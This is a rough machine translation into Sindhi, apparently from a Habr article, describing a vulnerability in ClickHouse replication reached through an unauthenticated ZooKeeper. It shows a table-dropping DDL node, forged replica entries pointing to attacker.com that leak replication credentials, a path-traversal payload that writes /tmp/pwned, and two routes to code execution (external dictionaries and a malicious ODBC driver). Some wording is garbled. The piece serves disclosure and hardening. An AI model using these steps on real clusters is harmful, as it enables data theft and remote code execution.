توهان کي زو جي پنجرن کي بند رکڻ جي ضرورت ڇو آهي؟

توهان کي زو جي پنجرن کي بند رکڻ جي ضرورت ڇو آهي؟

هي آرٽيڪل ڪلڪ هائوس ريپليڪشن پروٽوڪول ۾ هڪ تمام مخصوص خطري جي ڪهاڻي ٻڌائيندو، ۽ اهو پڻ ڏيکاريندو ته حملي جي سطح کي ڪيئن وڌايو وڃي.

ClickHouse ڊيٽا جي وڏي مقدار کي ذخيرو ڪرڻ لاء هڪ ڊيٽابيس آهي، اڪثر ڪري هڪ کان وڌيڪ نقل استعمال ڪندي. ڪلڪ هائوس ۾ ڪلسترنگ ۽ نقل مٿي تي ٺهيل آهن Apache ZooKeeper (ZK) ۽ لکڻ جي حقن جي ضرورت آهي.

ڊفالٽ ZK تنصيب کي تصديق جي ضرورت نه آهي، تنهنڪري هزارين ZK سرورز کي ترتيب ڏيڻ لاء استعمال ڪيو ويو Kafka، Hadoop، ClickHouse عوامي طور تي دستياب آهن.

توهان جي حملي جي مٿاڇري کي گهٽائڻ لاء، توهان کي هميشه تصديق ۽ اختيار کي ترتيب ڏيڻ گهرجي جڏهن ZooKeeper نصب ڪيو وڃي

يقيناً ڪي 0 ڏينهن جي بنياد تي جاوا ڊيسيريلائيزيشنز آهن، پر تصور ڪريو ته هڪ حملو ڪندڙ ZooKeeper کي پڙهي ۽ لکي سگهي ٿو، ClickHouse جي نقل لاءِ استعمال ڪيو ويو آهي.

جڏهن ڪلستر موڊ ۾ ترتيب ڏنل آهي، ڪلڪ هائوس ورهايل سوالن کي سپورٽ ڪري ٿو ڊي ڊي ايل، ZK ذريعي گذرڻ - انهن لاءِ شيٽ ۾ نوڊس ٺاهيا ويا آهن /clickhouse/task_queue/ddl.

مثال طور، توهان هڪ نوڊ ٺاهيو /clickhouse/task_queue/ddl/query-0001 مواد سان:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

۽ ان کان پوء، ٽيسٽ ٽيبل ڪلستر سرورز host1 ۽ host2 تي ختم ڪيو ويندو. DDL پڻ سپورٽ ڪري ٿو CREATE/ALTER/DROP سوالن کي هلائڻ.

خوفناڪ آواز؟ پر ڪٿي هڪ حملو ڪندڙ سرور ايڊريس حاصل ڪري سگهي ٿو؟

ڪلڪ هائوس نقل انفرادي جدولن جي سطح تي ڪم ڪري ٿو، انهي ڪري ته جڏهن ZK ۾ ٽيبل ٺاهي وئي آهي، هڪ سرور بيان ڪيو ويندو آهي جيڪو ريپليڪس سان ميٽا ڊيٽا جي بدلي لاء ذميوار هوندو. مثال طور، هڪ درخواست تي عمل ڪرڻ وقت (ZK کي ترتيب ڏيڻ لازمي آهي، chXX - نقل جو نالو، فوبار - ٽيبل جو نالو):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

نوڊس ٺاهيا ويندا ڪالمن и ميٽادا.

مواد /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

ڇا هن ڪلستر مان ڊيٽا کي ضم ڪرڻ ممڪن آهي؟ ها، جيڪڏهن نقل ڪرڻ وارو بندرگاهه (TCP/9009) سرور تي chXX-address فائر وال بند نه ڪيو ويندو ۽ نقل لاءِ تصديق ترتيب نه ڏني ويندي. تصديق کي ڪيئن نظرانداز ڪجي؟

هڪ حملو ڪندڙ صرف مواد کي نقل ڪندي ZK ۾ هڪ نئين نقل ٺاهي سگهي ٿو /clickhouse/tables/01-01/foobar/replicas/chXX ۽ معني کي تبديل ڪرڻ host.

مواد /clickhouse/tables/01-01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

پوء توهان کي ٻين نقلن کي ٻڌائڻ جي ضرورت آهي ته حملي ڪندڙ جي سرور تي ڊيٽا جو هڪ نئون بلاڪ آهي جيڪو انهن کي وٺڻ جي ضرورت آهي - هڪ نوڊ ٺاهي وئي آهي ZK ۾ /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotonically وڌندڙ انسداد، جيڪو واقعي جي لاگ ۾ آخري کان وڌيڪ هجڻ گهرجي):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

جتي source_replica - حملي آور جي نقل جو نالو پوئين قدم ۾ ٺاهيو ويو، block_id - ڊيٽا بلاڪ جي سڃاڻپ ڪندڙ، حاصل - "حاصل بلاڪ" حڪم (۽ هتي ٻين عملن لاءِ حڪم آهن).

اڳيون، هر ريپليڪا لاگ ۾ هڪ نئون واقعو پڙهي ٿو ۽ هڪ سرور ڏانهن وڃي ٿو جيڪو حملي ڪندڙ طرفان ڪنٽرول ڪيل ڊيٽا جي بلاڪ حاصل ڪرڻ لاءِ (نقل پروٽوڪول بائنري آهي، HTTP جي چوٽي تي هلندڙ). سرور attacker.com درخواستون وصول ڪندا:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

جتي XXX نقل لاءِ تصديق واري ڊيٽا آهي. ڪجهه حالتن ۾، هي هڪ اڪائونٽ ٿي سگهي ٿو ڊيٽابيس تائين رسائي سان مکيه ClickHouse پروٽوڪول ۽ HTTP پروٽوڪول ذريعي. جيئن توهان ڏٺو آهي، حملي جي مٿاڇري انتهائي وڏي ٿي ويندي آهي ڇاڪاڻ ته زو ڪيپر، نقل لاءِ استعمال ڪيو ويو، بغير تصديق جي ترتيب جي ڇڏي ويو.

اچو ته ريپليڪا مان ڊيٽا جي بلاڪ حاصل ڪرڻ جي فنڪشن کي ڏسو، اهو مڪمل اعتماد سان لکيو ويو آهي ته سڀئي نقل صحيح ڪنٽرول هيٺ آهن ۽ انهن جي وچ ۾ اعتماد آهي.

توهان کي زو جي پنجرن کي بند رکڻ جي ضرورت ڇو آهي؟
نقل پروسيسنگ ڪوڊ

فنڪشن فائلن جي هڪ فهرست پڙهي ٿو، پوء انهن جا نالا، سائيز، مواد، ۽ پوء انهن کي فائل سسٽم ڏانهن لکي ٿو. اهو الڳ الڳ بيان ڪرڻ جي قابل آهي ته ڪيئن ڊيٽا فائل سسٽم ۾ محفوظ ٿيل آهي.

اتي ڪيترائي ذيلي ڊائريڪٽريون آهن /var/lib/clickhouse (ترتيب واري فائل مان ڊفالٽ اسٽوريج ڊاريڪٽري):

جھنگ - رڪارڊنگ لاء ڊاريڪٽري جھنڊوڊيٽا جي نقصان کان پوء وصولي ۾ استعمال؛
tmp - عارضي فائلن کي محفوظ ڪرڻ لاء ڊاريڪٽري؛
user_files - درخواستن ۾ فائلن سان آپريشن هن ڊاريڪٽري تائين محدود آهن (INTO OUTFILE ۽ ٻيا)؛
ميٽادا - ٽيبل جي وضاحت سان sql فائلون؛
preprocessed_configs - پروسيس ٿيل نڪتل ترتيب واري فائلن مان /etc/clickhouse-server;
ڊيٽا - اصل ڊاريڪٽري پاڻ وٽ ڊيٽا سان، هن صورت ۾ هر ڊيٽابيس لاءِ هڪ الڳ سب ڊاريڪٽري هتي ٺهيل آهي (مثال طور /var/lib/clickhouse/data/default).

هر ٽيبل لاء، ڊيٽابيس ڊاريڪٽري ۾ هڪ ذيلي ڊائريڪٽري ٺاهي وئي آهي. هر ڪالم تي منحصر هڪ الڳ فائل آهي انجڻ جي شڪل. مثال طور، ٽيبل لاء فوبارهڪ حملو ڪندڙ طرفان ٺاهي وئي، هيٺيون فائلون ٺاهي وينديون.

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

ريپليڪا ساڳئي نالن سان فائلون وصول ڪرڻ جي اميد رکي ٿي جڏهن ڊيٽا جي بلاڪ کي پروسيس ڪندي ۽ انهن کي ڪنهن به طريقي سان درست نه ڪندو آهي.

غور ڪندڙ پڙهندڙ شايد اڳ ۾ ئي ٻڌو هوندو ته ڪنهن فنڪشن ۾ file_name جي غير محفوظ ڪنٽينشن بابت WriteBufferFromFile. ها، هي هڪ حملي ڪندڙ کي اجازت ڏئي ٿو ته صارف جي حقن سان گڏ FS تي ڪنهن به فائل تي صوابديدي مواد لکڻ clickhouse. هن کي ڪرڻ لاءِ، حملي آور جي ڪنٽرول ڪيل ريپليڪا کي درخواست تي هيٺين جواب ڏيڻو پوندو (سمجهڻ جي آسانيءَ لاءِ لائين بريڪ شامل ڪيا ويا آهن):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

۽ ڳنڍڻ کان پوء ../../../../../../../../../tmp/pwned فائل لکي ويندي /tmp/pwned مواد سان هيلو فريم زوڪيپر.

فائل لکڻ جي صلاحيت کي ريموٽ ڪوڊ ايگزيڪيوشن (RCE) ۾ تبديل ڪرڻ لاءِ ڪيترائي اختيار آھن.

RCE ۾ خارجي لغات

پراڻن ورزن ۾، ڪلڪ هاؤس سيٽنگن سان ڊاريڪٽري صارف جي حقن سان گڏ محفوظ ڪئي وئي هئي ڪلڪ هائوس ڊفالٽ. سيٽنگون فائلون XML فائلون آھن جيڪي خدمت شروع ٿيڻ تي پڙھندا آھن ۽ پوءِ ڪيش ڪندا آھن /var/lib/clickhouse/preprocessed_configs. جڏهن تبديليون ٿينديون آهن، اهي ٻيهر پڙهيا ويندا آهن. جيڪڏهن توهان وٽ رسائي آهي /etc/clickhouse-server حملو ڪندڙ پنهنجو پاڻ ٺاهي سگهي ٿو خارجي لغت executable قسم ۽ پوءِ ثالثي ڪوڊ تي عمل ڪريو. ClickHouse جا موجوده ورجن ڊفالٽ طور حق فراهم نٿا ڪن، پر جيڪڏهن سرور کي تدريجي طور تي اپڊيٽ ڪيو ويو ته، اهڙا حق برقرار ٿي سگهن ٿا. جيڪڏهن توهان هڪ ڪلڪ هاؤس ڪلستر جي حمايت ڪري رهيا آهيو، سيٽنگون ڊاريڪٽري جا حق چيڪ ڪريو، اهو لازمي طور تي استعمال ڪندڙ سان تعلق رکي ٿو root.

ODBC کان RCE

جڏهن هڪ پيڪيج کي نصب ڪرڻ، هڪ صارف ٺاهيو ويندو آهي clickhouse، پر ان جي گهر ڊاريڪٽري نه ٺاهي وئي آهي /nonexistent. بهرحال، جڏهن ٻاهرين لغتن کي استعمال ڪندي، يا ٻين سببن لاء، منتظمين هڪ ڊاريڪٽري ٺاهي /nonexistent ۽ استعمال ڪندڙ کي ڏيو clickhouse ان تي لکڻ جي رسائي (SSZB! لڳ ڀڳ مترجم).

ڪلڪ هائوس سپورٽ ڪري ٿو ODBC ۽ ٻين ڊيٽابيس سان ڳنڍجي سگھي ٿو. ODBC ۾، توھان بيان ڪري سگھوٿا ڊيٽابيس ڊرائيور لائبريري ڏانھن رستو (.so). ClickHouse جا پراڻا ورجن توهان کي اهو ڪرڻ جي اجازت ڏني آهي سڌو سنئون درخواست هينڊر ۾، پر هاڻي ڪنيڪشن اسٽرنگ جو وڌيڪ سخت چيڪ شامل ڪيو ويو آهي odbc-bridge, تنهنڪري اهو هاڻي ممڪن ناهي ته درخواست کان ڊرائيور جي رستي کي بيان ڪرڻ لاء. پر ڇا هڪ حملو ڪندڙ مٿي بيان ڪيل خطرن کي استعمال ڪندي گهر ڊاريڪٽري ڏانهن لکي سگهي ٿو؟

اچو ته هڪ فائل ٺاهي ~/.odbc.ini اهڙي مواد سان:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

پوء شروعاتي تي SELECT * FROM odbc('DSN=lalala', 'test', 'test'); لائبريري لوڊ ٿي ويندي test.so ۽ RCE حاصل ڪيو (شڪر بگلوڪ ٽپ لاء).

اهي ۽ ٻيون ڪمزوريون ClickHouse ورجن 19.14.3 ۾ طئي ڪيون ويون آهن. پنهنجي ClickHouse ۽ ZooKeepers جو خيال رکجو!

جو ذريعو: www.habr.com

تبصرو شامل ڪريو